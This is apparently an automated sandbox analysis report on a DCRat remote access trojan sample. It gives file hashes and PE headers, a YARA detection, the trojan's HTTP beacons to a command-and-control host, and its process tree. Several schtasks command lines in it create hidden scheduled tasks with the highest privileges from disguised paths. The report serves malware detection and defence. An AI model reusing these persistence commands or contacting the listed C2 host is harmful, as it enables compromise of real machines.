TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	c5uqDb5MlY.exe
File size:	847'360 bytes
MD5:	759b333fd8d1eedb5666fdea1da25b25
SHA1:	b66fc861196561f793062622b88cdb1065e35459
SHA256:	7a1a3397249836cac73c5f104211fb6cbb2317c830c148a65acb709210aadd2e
SHA512:	831006157773f5a30dbf07dcbfd484f49a978c077f8e132d33c8e044f8141462bb890c344724b23c3144488c1c406d576b7009c1205772a503ce6cc92692aec3
SSDEEP:	12288:M+B2ad7F/Jf2xm1/nNfkOV+0Z3+5DlpAXdet4y5+q:gad7PuxmRn60Zu7xtZp
TLSH:	3B05F7017E45CE51F0191233C2FF854847B0996166A6E32B7EBA3BBE55123A77C0DACB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....rb.....................6........... ........@.. .......................`............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4cd3be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6272A3D7 [Wed May 4 16:03:35 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xcd370	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd2000	0x218	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xcb3c4	0xcb400	1b45202d91b400e0e572e76679023ce4	False	0.5059734874692496	data	6.121950233353035	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0xce000	0x2fdf	0x3000	db61d576fc7abfebf158d86822b19b86	False	0.310302734375	data	3.2413803637374605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd2000	0x218	0x400	a0eb98cfbb72fea7cf0984384d7b3371	False	0.263671875	data	1.8371269699553323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd4000	0xc	0x200	4870997d6b0f603d6811c9e6ffcc99f7	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xd2058	0x1c0	ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970	English	United States	0.5223214285714286

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T20:17:04.371386+0100	2034194	ET MALWARE DCRAT Activity (GET)	1	192.168.2.4	49730	5.101.153.48	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 20:17:03.423010111 CET	49730	80	192.168.2.4	5.101.153.48
Oct 27, 2024 20:17:03.428332090 CET	80	49730	5.101.153.48	192.168.2.4
Oct 27, 2024 20:17:03.428419113 CET	49730	80	192.168.2.4	5.101.153.48
Oct 27, 2024 20:17:03.428962946 CET	49730	80	192.168.2.4	5.101.153.48
Oct 27, 2024 20:17:03.434288979 CET	80	49730	5.101.153.48	192.168.2.4
Oct 27, 2024 20:17:04.359532118 CET	80	49730	5.101.153.48	192.168.2.4
Oct 27, 2024 20:17:04.371386051 CET	49730	80	192.168.2.4	5.101.153.48
Oct 27, 2024 20:17:04.376791000 CET	80	49730	5.101.153.48	192.168.2.4
Oct 27, 2024 20:17:04.657844067 CET	80	49730	5.101.153.48	192.168.2.4
Oct 27, 2024 20:17:04.683504105 CET	49730	80	192.168.2.4	5.101.153.48

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 20:17:03.335865974 CET	58184	53	192.168.2.4	1.1.1.1
Oct 27, 2024 20:17:03.405868053 CET	53	58184	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 20:17:03.335865974 CET	192.168.2.4	1.1.1.1	0x975c	Standard query (0)	artema1m.beget.tech	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 20:17:03.405868053 CET	1.1.1.1	192.168.2.4	0x975c	No error (0)	artema1m.beget.tech		5.101.153.48	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

artema1m.beget.tech

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	5.101.153.48	80	6228	C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 20:17:03.428962946 CET	432	OUT	GET /L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0b68e0a305909638f2735&c145db2fdebeb12e252b4934f8f5f296=gZ1QDN1YTY0EGM5YTMjFjZkRmZwMGOkBzYyImMmNDO4MmYxcjN0ADN&yn6s2=2f1CE969I HTTP/1.1 Accept: / Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: artema1m.beget.tech Connection: Keep-Alive
Oct 27, 2024 20:17:04.359532118 CET	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sun, 27 Oct 2024 19:17:04 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Thu, 29 Aug 2024 10:44:19 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "66d05103-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>
Oct 27, 2024 20:17:04.371386051 CET	408	OUT	GET /L1nc0In.php?yn6s2=2f1CE969I&2eb64d735c3ceb3cf44155d276f7f3b6=c881cd7e5eb0b68e0a305909638f2735&c145db2fdebeb12e252b4934f8f5f296=gZ1QDN1YTY0EGM5YTMjFjZkRmZwMGOkBzYyImMmNDO4MmYxcjN0ADN&yn6s2=2f1CE969I HTTP/1.1 Accept: / Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: artema1m.beget.tech
Oct 27, 2024 20:17:04.657844067 CET	546	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sun, 27 Oct 2024 19:17:04 GMT Content-Type: text/html Content-Length: 274 Last-Modified: Thu, 29 Aug 2024 10:44:19 GMT Connection: keep-alive Keep-Alive: timeout=30 ETag: "66d05103-112" Accept-Ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 73 65 74 5f 63 6f 6f 6b 69 65 28 29 7b 76 61 72 20 6e 6f 77 20 3d 20 6e 65 77 20 44 61 74 65 28 29 3b 76 61 72 20 74 69 6d 65 20 3d 20 6e 6f 77 2e 67 65 74 54 69 6d 65 28 29 3b 74 69 6d 65 20 2b 3d 20 31 39 33 36 30 30 30 30 20 2a 20 31 30 30 30 3b 6e 6f 77 2e 73 65 74 54 69 6d 65 28 74 69 6d 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 65 67 65 74 3d 62 65 67 65 74 6f 6b 27 2b 27 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 6f 77 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 27 3b 7d 73 65 74 5f 63 6f 6f 6b 69 65 28 29 3b 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 3b 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

Target ID:	0
Start time:	15:16:59
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\c5uqDb5MlY.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\c5uqDb5MlY.exe"
Imagebase:	0xb50000
File size:	847'360 bytes
MD5 hash:	759B333FD8D1EEDB5666FDEA1DA25B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1705861781.000000000310E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1705861781.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:16:59
Start date:	27/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrG" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 10 /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrG" /sc ONLOGON /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 11 /tr "'C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\GwQD1zscMN.bat"
Imagebase:	0x7ff68f670000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:17:00
Start date:	27/10/2024
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff62d3b0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	15:17:01
Start date:	27/10/2024
Path:	C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
Imagebase:	0xa00000
File size:	847'360 bytes
MD5 hash:	759B333FD8D1EEDB5666FDEA1DA25B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000A.00000002.1732109470.0000000002D61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:17:01
Start date:	27/10/2024
Path:	C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
Imagebase:	0xa80000
File size:	847'360 bytes
MD5 hash:	759B333FD8D1EEDB5666FDEA1DA25B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.1793189374.0000000002D56000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000B.00000002.1793189374.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	15:17:05
Start date:	27/10/2024
Path:	C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe"
Imagebase:	0x9b0000
File size:	847'360 bytes
MD5 hash:	759B333FD8D1EEDB5666FDEA1DA25B25
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000C.00000002.1835354064.0000000002BFA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000C.00000002.1835354064.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FFD9B883555 Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

N_H, xrefs: 00007FFD9B88376E

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID: N_H
API String ID: 0-343878021
Opcode ID: ae804214c7f3e20f45ca10a0e6adacdb0e580cec08fa6e8438fa1a90b814c421
Instruction ID: e13169b682989f9d5c1e79492d6c351e0971cb957cd3a70ff2649d4b06fa436a
Opcode Fuzzy Hash: ae804214c7f3e20f45ca10a0e6adacdb0e580cec08fa6e8438fa1a90b814c421
Instruction Fuzzy Hash: 44A1A071A1994E8FEB98DF68D8257ACBBE1FF59310F50017AE01DC72DADB7468018741

Function 00007FFD9B8816A8 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed83939f6cfe155b68cca36000fec61c226969856b6a6996fb5242ea4331a2af
Instruction ID: 84107c6019886022b46ef092246a6e55c4f96187d0da8c1b54318779b5d21331
Opcode Fuzzy Hash: ed83939f6cfe155b68cca36000fec61c226969856b6a6996fb5242ea4331a2af
Instruction Fuzzy Hash: 0881D031B0DE494FDB58EF5888A15A977E2FF9C300B1545BEE46DC32A2DE34AD028781

Function 00007FFD9B88AD78 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d71d2b89f66edbeb172b4409ddb6d6ca25f00ae72c6693c225778fe6191f36b9
Instruction ID: 8ade0b936fa003d88cb8d55cdb0e2c7d72e1c3c0a3cf1115d1ff06434f9452ca
Opcode Fuzzy Hash: d71d2b89f66edbeb172b4409ddb6d6ca25f00ae72c6693c225778fe6191f36b9
Instruction Fuzzy Hash: B0610770E0991E8FEBA4EBA8C4A96EDB7F1FF59300F51017AD01DE7295DE346A418B40

Function 00007FFD9B881C9D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caf252c4e0cc08047933bec439b72c3930371a83daa13c4be4bdabaa5a66d91d
Instruction ID: 843e2abd5a8bd41004deee4052be0a4c14dfca07f7003cb1e93423b69a57c19b
Opcode Fuzzy Hash: caf252c4e0cc08047933bec439b72c3930371a83daa13c4be4bdabaa5a66d91d
Instruction Fuzzy Hash: F151D231B09B4E4FDB58DF1888645AA77E2FF9C304B15467ED46AC7292DE34E8028781

Function 00007FFD9B8831B1 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f98399c873c09a121d46a5d1da1ad4cf40c4ce9b5da3018bec3490b664d7768
Instruction ID: 8ae4bbe55fd91095062577edadc608eb5f1411410d8ae3b87c1c16b17741b8fe
Opcode Fuzzy Hash: 1f98399c873c09a121d46a5d1da1ad4cf40c4ce9b5da3018bec3490b664d7768
Instruction Fuzzy Hash: 98513B70E09A1E8FEB64EB98D4646EDB7F1FF58301F510139E019E72A6DE386A45CB40

Function 00007FFD9B8817C0 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa428f71e2dd58bb1a3cdda619b64610ceafcc70429685252dd0412539a50953
Instruction ID: 4c892a5a386cc2f5dc53d2f5c4a39d54f8b4aa0ac201729643ae7b1bd0dcdaa4
Opcode Fuzzy Hash: aa428f71e2dd58bb1a3cdda619b64610ceafcc70429685252dd0412539a50953
Instruction Fuzzy Hash: 87419230B18A4D8BDB5CEF4888656BA73E2FBDC305B14457EE45ED3295DE30E9128781

Function 00007FFD9B8820B5 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b729617aad76102d54561d4100203819a6bafa4395387e036b5d3b6e28460880
Instruction ID: f1dbf9e74c2bae5941c5a087ad2110c75ae6e9e568198bab85bef0bd921ceb37
Opcode Fuzzy Hash: b729617aad76102d54561d4100203819a6bafa4395387e036b5d3b6e28460880
Instruction Fuzzy Hash: 7E415931B0EA4E0FE366DBB898655B8B7E0EF49310B0641FBD01DC31A6DE38B9428341

Function 00007FFD9B88228A Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711631686.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_c5uqDb5MlY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 111f66ca1d4886c2f0bef0f88edd177213f6b410bd96c871f8f320c8b18e6590
Instruction ID: 09c07d773752b7e45fc8a0b12ae57ce973a76bcc6addde2af858ee309ca302f5
Opcode Fuzzy Hash: 111f66ca1d4886c2f0bef0f88edd177213f6b410bd96c871f8f320c8b18e6590
Instruction Fuzzy Hash: 1F316035E1A91E8BEB74DFC0C8616F8B2A0FF48301F4142B9D46ED61A2DF342B459B90

Function 00007FFD9B88AEE8 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

